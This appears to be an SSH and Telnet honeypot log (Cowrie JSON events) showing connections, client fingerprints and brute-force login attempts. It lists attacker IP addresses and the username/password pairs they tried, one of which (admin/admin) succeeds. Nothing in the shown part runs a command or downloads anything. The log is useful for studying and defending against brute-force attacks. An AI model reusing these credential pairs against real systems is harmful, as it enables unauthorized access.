{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:43.247842Z","src_ip":"103.82.20.28","session":"6cb2154ce563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.593182802200317,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:06.274955Z","src_ip":"170.64.224.25","session":"d874e5fe8e8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":38554,"dst_ip":"10.17.0.5","dst_port":22,"session":"59ef4292cb4c","protocol":"ssh","message":"New connection: 161.35.205.74:38554 (10.17.0.5:22) [session: 59ef4292cb4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:21.754250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:21.758491Z","src_ip":"161.35.205.74","session":"59ef4292cb4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:21.843185Z","src_ip":"161.35.205.74","session":"59ef4292cb4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101101","message":"login attempt [root/101101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:22.215793Z","src_ip":"161.35.205.74","session":"59ef4292cb4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:23.304032Z","src_ip":"161.35.205.74","session":"59ef4292cb4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":48872,"dst_ip":"159.203.135.109","dst_port":22,"session":"365539eff15a","protocol":"ssh","message":"New connection: 85.214.154.50:48872 (159.203.135.109:22) [session: 365539eff15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:24.921050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:24.928280Z","src_ip":"85.214.154.50","session":"365539eff15a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:25.021735Z","src_ip":"85.214.154.50","session":"365539eff15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shanghai_crypto","password":"shanghai123","message":"login attempt [shanghai_crypto/shanghai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:25.304180Z","src_ip":"85.214.154.50","session":"365539eff15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:26.400593Z","src_ip":"85.214.154.50","session":"365539eff15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.007728099823,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:33.162371Z","src_ip":"137.184.5.188","session":"9b504b2002bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":47318,"dst_ip":"159.203.135.109","dst_port":23,"session":"a324b403247e","protocol":"telnet","message":"New connection: 167.172.116.158:47318 (159.203.135.109:23) [session: a324b403247e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:35.424185Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":51206,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dbd392d0aed","protocol":"ssh","message":"New connection: 38.93.206.2:51206 (10.17.0.5:22) [session: 2dbd392d0aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:45.463786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:45.467378Z","src_ip":"38.93.206.2","session":"2dbd392d0aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:45.516802Z","src_ip":"38.93.206.2","session":"2dbd392d0aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lera2006","message":"login attempt [root/lera2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:45.687595Z","src_ip":"38.93.206.2","session":"2dbd392d0aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:46.741961Z","src_ip":"38.93.206.2","session":"2dbd392d0aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50696,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bc12abefdaa","protocol":"telnet","message":"New connection: 137.184.5.188:50696 (159.203.135.109:23) [session: 9bc12abefdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:16:47.954406Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":52994,"dst_ip":"10.17.0.5","dst_port":22,"session":"989a8d286979","protocol":"ssh","message":"New connection: 162.214.22.174:52994 (10.17.0.5:22) [session: 989a8d286979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:03.164408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:03.167352Z","src_ip":"162.214.22.174","session":"989a8d286979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:03.248939Z","src_ip":"162.214.22.174","session":"989a8d286979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theta","password":"theta789","message":"login attempt [theta/theta789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:03.500421Z","src_ip":"162.214.22.174","session":"989a8d286979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:05.438881Z","src_ip":"162.214.22.174","session":"989a8d286979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":43184,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe3a17ac2b65","protocol":"ssh","message":"New connection: 159.65.58.200:43184 (159.203.135.109:22) [session: fe3a17ac2b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:17.503587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:17.797015Z","src_ip":"159.65.58.200","session":"fe3a17ac2b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:17.802578Z","src_ip":"159.65.58.200","session":"fe3a17ac2b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:19.111879Z","src_ip":"159.65.58.200","session":"fe3a17ac2b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":47966,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fb5516a1745","protocol":"ssh","message":"New connection: 161.35.205.74:47966 (10.17.0.5:22) [session: 5fb5516a1745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:19.705806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:19.709608Z","src_ip":"161.35.205.74","session":"5fb5516a1745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:19.789957Z","src_ip":"161.35.205.74","session":"5fb5516a1745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd","message":"login attempt [ubuntu/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:20.152607Z","src_ip":"161.35.205.74","session":"5fb5516a1745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:20.420271Z","src_ip":"159.65.58.200","session":"fe3a17ac2b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:21.236238Z","src_ip":"161.35.205.74","session":"5fb5516a1745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":58726,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d0f8896465","protocol":"ssh","message":"New connection: 2.57.122.209:58726 (10.17.0.5:22) [session: c3d0f8896465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:23.433430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:23.686614Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:23.713256Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":53738,"dst_ip":"10.17.0.5","dst_port":22,"session":"47c19f154d41","protocol":"ssh","message":"New connection: 91.92.40.4:53738 (10.17.0.5:22) [session: 47c19f154d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:24.580033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:24.583815Z","src_ip":"91.92.40.4","session":"47c19f154d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:24.664688Z","src_ip":"91.92.40.4","session":"47c19f154d41","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:24.860472Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qwe","message":"login attempt [test/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:24.910856Z","src_ip":"91.92.40.4","session":"47c19f154d41","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:17:25.906929Z","src_ip":"2.57.122.209","session":"c3d0f8896465","protocol":"ssh"}
